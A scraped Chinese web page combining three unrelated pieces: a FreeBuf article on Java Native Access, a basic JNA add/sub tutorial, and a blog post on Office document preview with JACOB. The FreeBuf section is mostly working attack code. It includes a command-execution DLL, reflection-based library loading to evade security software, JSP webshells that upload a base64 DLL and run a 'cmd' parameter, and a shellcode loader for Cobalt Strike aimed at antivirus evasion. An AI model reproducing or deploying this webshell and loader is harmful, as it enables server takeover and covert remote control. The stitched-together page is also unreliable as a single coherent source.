JNA 調用動態鏈接庫

言

在一次實際項目中遇到了無法調用exe可執行文件，利用JNA技術實現了內存加載exe、執行命令等操作，特來實踐一下。

JNA 基礎知識

JNA全稱：Java Native Access，是建立在JNI（Java Native Interface）技術之上的Java開源框架，JNA提供了一組Java工具類用于在運行期間動態訪問的系統本地庫。
簡單理解就是：JNA提供了一個"橋梁"，可以利用Java代碼直接訪問動態鏈接庫中的函數。

調用JNI接口

調用JNI接口的步驟為：

創建工程，將dll文件放到工程下
引入JNA相關的jar包
創建繼承自Library類的接口
接口中創建對象用于加載DLL/SO的類庫
接口中聲明DLL/SO類庫頭文件中暴露的方法
調用該方法

編譯DLL

以windows為例，使用Visual Studio 創建一個動態鏈接庫的工程，并定義一個頭文件testdll.h和源文件testdll.cpp。
簡單實現一個SayHello的方法
創建testdll.cpp，作用是用來實現被聲明的函數。

#include "pch.h"
#include "testdll.h"

void SayHello()
{
    std::cout << "Hello！你成功了！" << std::endl;
}

創建testdll.h頭文件，作用是用來聲明需要導出的函數接口

#pragma once
#include <iostream>

extern "C" __declspec(dllexport) void SayHello();
//聲明一個可被調用的函數“SayHello()”，它的返回類型是void。
//extern "C"的作用是告訴編譯器將被它修飾的代碼按C語言的方式進行編譯
//__declspec(dllexport)，此修飾符告訴編譯器和鏈接器被它修飾的函數或變量需要從DLL導出

而后編譯出dll。
注意：要DLL位數要與JDK位數相同，否則無法調用。

導入JAR包

首先創建java工程，可以是普通項目也可以是maven功能。
maven 需要導入依賴

<dependency>
  <groupId>net.java.dev.jna</groupId>
  <artifactId>jna</artifactId>
  <version>5.13.0</version>
</dependency>
<dependency>
  <groupId>net.java.dev.jna</groupId>
  <artifactId>jna-platform</artifactId>
  <version>5.13.0</version>
</dependency>

普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導入。

調用DLL

我們需要繼承Library類接口，調用Native類的load方法將我們的testdll.dll加載進來并轉換為本地庫，而后聲明SayHello方法。

public interface Mydll extends Library {

    Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
    void SayHello();
}

調用時不需要鏈接庫的后綴，會自動加上。
聲明SayHello方法時，結合testdll.h頭文件，沒有返回值為void，也沒有需要的數據類型。（需要的話可查找JNA 數據類型對應關系）

然后在主方法里調用SayHello方法

public static void main(String[] args) {
    Mydll.mydll.SayHello();
}

可以看到成功調用了testdll.dll的SayHello方法。

加載動態鏈接庫

在上面的代碼中，我們直接利用Native.load將dll轉換為本地庫，在此之前缺少了加載這一步。
常見的加載動態鏈接庫有三種方法：

System.load / System.loadLibrary
Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
com.sun.glass.utils.NativeLibLoader.loadLibrary

在使用時也有一些區別：load接收的是系統的絕對路徑，loadLibrary接收的是相對路徑。
但實際利用過程中肯定是絕對路徑優先于相對路徑。
以Runtime.getRuntime().load為例：

但實際利用可能會被安全軟件捕捉。我們反射調用loadLibrary方法。
代碼來自Java加載動態鏈接庫這篇文章

try {
    Class clazz=Class.forName("java.lang.ClassLoader");
    java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
    method.setAccessible(true);
    method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
    Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
    mydll.SayHello();
}catch (Exception e){
    e.printStackTrace();
}

場景利用

現在我們想一下具體場景的利用，在此基礎上調整我們的代碼。

webshell

既然jna加載動態鏈接庫后轉換為本地庫，可以調用dll的任意方法，那實現一個命令執行應該也是可以的。

#include "pch.h"
#include "command.h"

#include <cstdlib>
#include <string>

void executeCommand(const char* command) {
    char psBuffer[128];
    FILE* pPipe;

    if ((pPipe=_popen(command, "r"))==NULL)
    {
        exit(1);
    }

    while (fgets(psBuffer, 128, pPipe))
    {
        puts(psBuffer);
    }

    int endOfFileVal=feof(pPipe);
    int closeReturnVal=_pclose(pPipe);

    if (endOfFileVal)
    {
        printf("\nProcess returned %d\n", closeReturnVal);
    }
    else
    {
        printf("Error: Failed to read the pipe to the end.\n");
    }
}

相應的頭文件

#pragma once
#include <iostream>

extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代碼加載并調用。

import com.sun.jna.Library;
import com.sun.jna.Native;

public class test {

	public interface Mydll extends Library {
        void executeCommand(String command);
    }
    public static void main(String[] args) {
    	try {
            Class clazz=Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
            Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
            mydll.executeCommand("ipconfig");
    	}catch (Exception e){
            e.printStackTrace();
        }

    }

}

成功實現。結合實際利用我們還需要優化一下代碼，改成jsp腳本文件。因為com.sun.jna包是第三方包，在實際利用肯定沒有。所以這里選擇將自己寫的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。

再把test類名修改為show，把dll動態鏈接庫和將要執行的命令作為參數傳遞進去。
現在還差一個加載外部的jar包并調用方法的jsp腳本文件。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>


<%
    String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
    URLClassLoader urlClassLoader=null;
    Class<?> MyTest=null;
    //通過URLClassLoader加載外部jar
    urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
    //獲取外部jar里面的具體類對象
    MyTest=urlClassLoader.loadClass("com.jna.jnatest");
    //創建對象實例
    Object instance=MyTest.newInstance();
    //獲取實例當中的方法名為show
    Method method=MyTest.getMethod("show", String.class,String.class);
    //傳入實例以及方法參數信息執行這個方法
    Object ada=method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
%>

這樣用的時候需要向目標服務器手動上傳兩個文件，jar包和dll文件。我們再進一步優化一下。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>

<%!

    private String getFileName(){
        String fileName="";
        java.util.Random random=new java.util.Random(System.currentTimeMillis());
        String os=System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName="C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
        }else {
            fileName="/tmp/"+ random.nextInt(10000000) + ".so";
        }
        return fileName;
    }


    public String UploadBase64DLL(String base64) throws Exception {
        sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
        java.io.File file=new java.io.File(getFileName());
        java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>
<%
    try{
        String cmd=request.getParameter("cmd");
        String base64=request.getParameter("base64");
        String file=UploadBase64DLL(base64);
        String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        //通過URLClassLoader加載外部jar
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
        //獲取外部jar里面的具體類對象
        Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
        //創建對象實例
        Object instance=MyTest.newInstance();
        //獲取實例當中的方法名為show，參數只有一個且類型為string的public方法
        Method method=MyTest.getMethod("show", String.class,String.class);
        //傳入實例以及方法參數信息執行這個方法
        Object ada=method.invoke(instance, file,cmd);


    }
    catch (Exception e){
        out.println(e);
    }

%>

現在只需要手動上傳一個jar包就可以，dll通過base64編碼上傳上去。這樣參數值就是base64編碼之后的dll和cmd要執行的系統命令。

唯一的缺點就是不能在前端顯示，或許將代碼加入到冰蝎可以實現？

shellcode

既然前端無法獲取結果，那直接加載shellcode上線cs呢？
我們利用同樣的方式寫出加載shellcode的代碼。
shellcode.cpp

#include "shellcode.h"
#include <iostream>


using namespace std;

void shellcode(PCHAR code, DWORD buf_len) {

    cout << buf_len << endl;
    DWORD oldprotect=0;
    LPVOID  base_addr=NULL;
    //  申請一塊buf_len長度大小的空間，RW權限，不要開rwx，PAGE_EXECUTE_READWRITE 
    base_addr=VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 復制shellcode到新的空間，這個函數比較罕見，用memcpy也可以呀
    unsigned char HexNumArray[4096];
    int num=HexStr2HexNum(code, buf_len, HexNumArray);
    RtlMoveMemory(base_addr, HexNumArray, buf_len);
    // 修改為執行RX權限
    VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
    cout << "starting spawn shellcode" << endl;
    // 當前進程創建線程執行shellcode
    auto ct=CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    // 等待線程返回值
    WaitForSingleObject(ct, -1);
    // 釋放內存
    free(base_addr);
}

int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
{
    int j=0;
    for (int i=0; i < len; i +=2)
    {
        if (HexStrArray[i]==0x5C || HexStrArray[i]==0x58 || HexStrArray[i]==0x78)
        {
            continue;
        }
        char HIGH_BYTE=0;
        char LOW_BYTE=0;
        //high 4
        if (HexStrArray[i] >=0x30 && HexStrArray[i] <=0x3A)
        {
            HIGH_BYTE=HexStrArray[i] - 0x30;
        }
        else if (HexStrArray[i] >=0x41 && HexStrArray[i] <=0x47)
        {
            HIGH_BYTE=HexStrArray[i] - 0x37;
        }
        else if (HexStrArray[i] >=0x61 && HexStrArray[i] <=0x67)
        {
            HIGH_BYTE=HexStrArray[i] - 0x57;
        }
        else
        {
            printf("Please make sure the format of Hex String is correct!\r\n");
            printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
            return -1;
        }

        //low 4
        if (HexStrArray[i + 1] >=0x30 && HexStrArray[i + 1] <=0x3A)
        {
            LOW_BYTE=HexStrArray[i + 1] - 0x30;
        }
        else if (HexStrArray[i + 1] >=0x41 && HexStrArray[i + 1] <=0x47)
        {
            LOW_BYTE=HexStrArray[i + 1] - 0x37;
        }
        else if (HexStrArray[i + 1] >=0x61 && HexStrArray[i + 1] <=0x67)
        {
            LOW_BYTE=HexStrArray[i + 1] - 0x57;
        }
        else
        {
            printf("Please make sure the format of Hex String is correct!\r\n");
            printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
            return -1;
        }

        HexNumArray[j] &=0x0F;
        HexNumArray[j] |=(HIGH_BYTE << 4);
        HexNumArray[j] &=0xF0;
        HexNumArray[j] |=LOW_BYTE;
        j++;
    }
    return 0;
}

shellcode.h

#pragma once
#include <Windows.h>


extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加載并調用，傳入shellcode和長度。以達到更好的免殺性。

import java.util.Base64;
import com.sun.jna.Library;
import com.sun.jna.Native;


public class test {

	public interface Mydll extends Library {
        void shellcode(byte[] b,int length);
    }

    public static void show(String base64,String dllpath,String dllname) {
        try {
            Class clazz=Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, dllpath, true);
            Mydll mydll=(Mydll)Native.load(dllname,Mydll.class);
            byte[] base64decodedBytes=java.util.Base64.getDecoder().decode(base64);
            int leng=base64decodedBytes.length;
            mydll.shellcode(base64decodedBytes,leng);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
	
	public static void main(String[] args) {
		String base64encodedString="XHhmY1x4NDhxxxxxxxxxxxxxxx";
		show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
    }
}

此時只需要將shellcode值base64編碼當做字符傳遞即可。測試一下

可以看到正常上線，進程為javaw.exe。
那在實際環境中同樣不能這樣利用。依舊把java代碼打包為jar包，再修改一下jsp腳本文件應該就可以在實際運行了。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>

<%!

    private String getFileName(String dllname){
        String fileName="";
        String os=System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName="C:\\Windows\\Temp\\" + dllname + ".dll";
        }else {
            fileName="/tmp/"+ dllname + ".so";
        }
        return fileName;
    }


    public String UploadBase64DLL(String base64,String dllname) throws Exception {
        sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
        java.io.File file=new java.io.File(getFileName(dllname));
        java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>
<%
    try{

        String shellcode=request.getParameter("shellcode");
        String base64dll=request.getParameter("base64dll");
        String dllname=request.getParameter("dllname");
        String pathdll=UploadBase64DLL(base64dll,dllname);
        String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
        Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
        Object instance=MyTest.newInstance();
        Method method=MyTest.getMethod("show", String.class,String.class,String.class);
        Object ada=method.invoke(instance,shellcode, pathdll,dllname);

    }
    catch (Exception e){
        out.println(e);
    }

%>

以tomcat為例，shellcode 即將cobaltstrike的shellcode進行base64編碼，base64dll 是base64編碼dll動態鏈接庫之后的值，dllname即是dll動態鏈接庫的名稱。
測試可以正常上線執行命令。上線進程為java.exe。

總結

在學習JNA調用動態鏈接庫的時候，借鑒了很多思路，用稍微復雜點的辦法完善自己的代碼，來曲折得實現效果。

from https://www.freebuf.com/articles/web/365421.html

. JNA

JNA介紹

JNA（Java Native Access ）提供一組Java工具類用于在運行期動態訪問系統本地庫（native library：如Window的dll）而不需要編寫任何Native/JNI代碼。開發人員只要在一個java接口中描述目標native library的函數與結構，JNA將自動實現Java接口到native function的映射。

https://github.com/java-native-access/jna 
https://java-native-access.github.io/jna/5.3.0/javadoc/

優點

JNA可以讓你像調用一般java方法一樣直接調用本地方法。就和直接執行本地方法差不多，而且調用本地方法還不用額外的其他處理或者配置什么的，也不需要多余的引用或者編碼，使用很方便。

JNA描述

JNA類庫使用一個很小的本地類庫sub動態的調用本地代碼。程序員只需要使用一個特定的java接口描述一下將要調用的本地代碼的方法的結構和一些基本屬性。這樣就省了為了適配多個平臺而大量的配置和編譯代碼。因為調用的都是JNA提供的公用jar 包中的接口。

缺點

JNA是建立在JNI技術基礎之上的一個Java類庫，原來使用JNI，你必須手工用C寫一個動態鏈接庫，在C語言中映射Java的數據類型。JNA中，它提供了一個動態的C語言編寫的轉發器，可以自動實現Java和C的數據類型映射。你不再需要編寫C動態鏈接庫。當然，這也意味著，使用JNA技術比使用JNI技術調用動態鏈接庫會有些微的性能損失。可能速度會降低幾倍。但影響不大。

關于jna-platform

其實很多情況下，jna.jar就完全滿足一般項目開發的需要了，比如數據類型的映射和常用的方法等等，這些C/C++中基礎的映射已經可以實現，包括一些基本的平臺方法，但是，真實涉及到比較深入的平臺方法的時候，就需要platform.jar的幫助了，platform.jar是依賴于jna.jar實現的，包括了FileMonitor、FileUtils、KeyboardUtils、WindowUtil等Win32和平臺相關的簡化動態訪問功能類中的大部分常用方法，為開發者開發自己的跨平臺映射方法提供參考。

所以platform.jar對于jna.jar是一種補充和擴展，jna.jar相當于核，platfrorm.jar相當于增量插件。

2. JNA使用

pom.xml 引入

<dependency>
    <groupId>net.java.dev.jna</groupId>
    <artifactId>jna</artifactId>
    <version>5.13.0</version>
</dependency>
<dependency>
    <groupId>net.java.dev.jna</groupId>
    <artifactId>jna-platform</artifactId>
    <version>5.13.0</version>
</dependency>

使用的函數必須與鏈接庫中的函數原型保持一致，這是JNA甚至所有跨平臺調用的難點，因為C/C++的類型與Java的類型是不一樣的，必須轉換成java對應類型讓它們保持一致，這就是類型映射（Type Mappings），JNA官方給出的默認類型映射表如下：

其中類型映射的難點在于結構體、指針和函數回調。

創建頭文件 TestJna.h

#ifndef _TestJna_h
#define _TestJna_h

#ifdef __cplusplus
extern "C" {
#endif

    int add(int a, int b);

    int sub(int a, int b);

#ifdef __cplusplus
}
#endif
#endif

創建頭文件 TestJna.cpp

#include "TestJna.h"

extern "C" int add(int a, int b){
  return a+b;
}
     
extern "C" int sub(int a, int b){
 return a-b;
}

注意：一定要加extern "C"否則生成的方法名跟cpp文件定義的方法名不一致。

查看so方法名

nm -D libTestJnaEx.so | grep add
nm -D libTestJnaEx.so | grep sub

生成動態連接庫so文件

g++ TestJna.cpp -fPIC  -shared -o libTestJnaEx.so

cp libTestJnaEx.so /usr/lib

創建TestJna.java文件

import com.sun.jna.Library;
import com.sun.jna.Native;

public class TestJnaEx {
 
 public interface CLibrary extends Library {
  CLibrary INSTANCE=(CLibrary) Native.load("TestJnaEx", CLibrary.class);

  int add(int a, int b);
  
  int sub(int a, int b);
 }

 public static void main(String[] args) {
  int sum=CLibrary.INSTANCE.add(2, 3);
  System.out.println(sum);
  
  int diff=CLibrary.INSTANCE.sub(5, 3);
  System.out.println(diff);
 }
 
}

導出可執行jar文件TestJnaEx.jar

執行TestJnaEx.jar

java -jar TestJnaEx.jar

結果

師傅領進門，修行在個人。

天，寫了一篇復雜word模板導出的設置，好多粉絲都私信問我如何實現在線預覽的功能~~

那么我們今天就重點來講講office文檔（word、excel、ppt、pdf）如何通過java在windows以及linux服務器環境下實現在線預覽的效果~~

一：windows篇

如果你的服務器部署在windows下面，要想實現office文檔的在線預覽功能，就比較的簡單了，目前主流的工作有JNA調用方式、openoffice服務調用轉換方式等等。

但是，個人并不推薦使用openoffice，因為他在轉換時，會出現文件變形、字符亂碼、XML格式轉換無效、大文件轉換超時失敗等等一系列讓你很尷尬的問題！

那么，既然是在windows服務器，我覺得最簡單實用的方式就是JNA調用方式。

目前，應用比較普及的是jcom、jacob插件，jcom僅僅支持32位jdk，所以還是選擇jacob比較方便，相關的jacob.dll去網上下載即可，百度一下，一大把~~~~

jacob（即：JAva COm Bridge）配置，首先需要將下載的jacob.dll文件拷貝到C:/WINDOWS/system32目錄下，并將jacob.jar添加到CLASSPATH中。

那么此時，所有的office都可以調用其“另存為”的功能，可以另存為PDF、HTML、JPG等等許許多多的格式，進而可以加載轉換后的路徑，實現在線預覽。

那么，我們就重點一步一步來講一下，如何通過JACOB調用com組件的另存為的功能~~~

1：ComThread.InitSTA(); com組件線程的初始化

2：ActiveXComponent app=null;

app=new ActiveXComponent("Powerpoint.Application"); ---PPT

app=new ActiveXComponent("Word.Application"); ---WORD

app=new ActiveXComponent("Excel.Application"); ---Excel

啟動 ppt、word、excel的com組件

擴展一下：JACOB獲取com組件的類型包括

jacob常用的com組件

3：組件的屬性設置

app.setProperty("Visible", false); ----不可見，另存轉換時，設置文檔不可見

此處一直沒有找到一個最全的屬性設置的方法名的API手冊，大家有的話希望能給我分享一下。

4：獲取文檔控制權

Dispatch docs=app.getProperty("Documents").toDispatch();

Workbooks---Excel

Presentations ---PPT

Documents---WORD

5：把目標文檔的內容，賦給當前新建的文檔

Dispatch doc=Dispatch.call(docs,"Open",sourceUrl,false,true ).toDispatch();

docs----新起的com文檔；Open-----打開文檔

sourceUrl----目標文檔路徑；false---是否確認轉換；true----是否只讀

6：調用“另存為”方法，比如另存為HTML

Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfileUrl, new Variant(10) }, new int[1]);

htmlfileUrl-----為word另存為HTML的路徑地址

“10”-----這個參數就是代表的是，另存為HTML格式。

7：關閉當前文檔并退出！！！！！！！

Variant f=new Variant(false);

Dispatch.call(doc, "Close", f);

app.invoke("Quit", new Variant[] {});

其實，說這么多，也就是調用了一個另存為的功能。其實JACOB還有許許多多的功能，比如對于文檔內容、域、書簽等等操作還需要對JACOB以及相關com組件自己的API方法加深查看~~

下面就貼一些為了實現《另存為》轉換的三種office文檔的代碼吧~~

word轉HTML

excel轉HTML

PPT轉圖片文件夾

最后，可以通過調用相關的html的地址、pdf的地址、圖片文件夾的地址（PPT轉成圖片文件夾時，都按照PPT的順序排好了順序），就可以實現在線預覽了~~~這種方式word不會變形、xls不管有多少sheet頁也不會變形、ppt順序不會混亂~~~

那么下一篇，我們就重點說一下在LINUX環境下，如何實現這些功能！因為LINUX無法調用JNA組件！！！！

在線咨詢

上一篇：使用 JS 操作 HTML 元素
下一篇：DocFetcher：本地文檔全文快速搜索神器

您的項目需求

*請認真填寫需求信息，我們會在24小時內與您取得聯系。

整合營銷服務商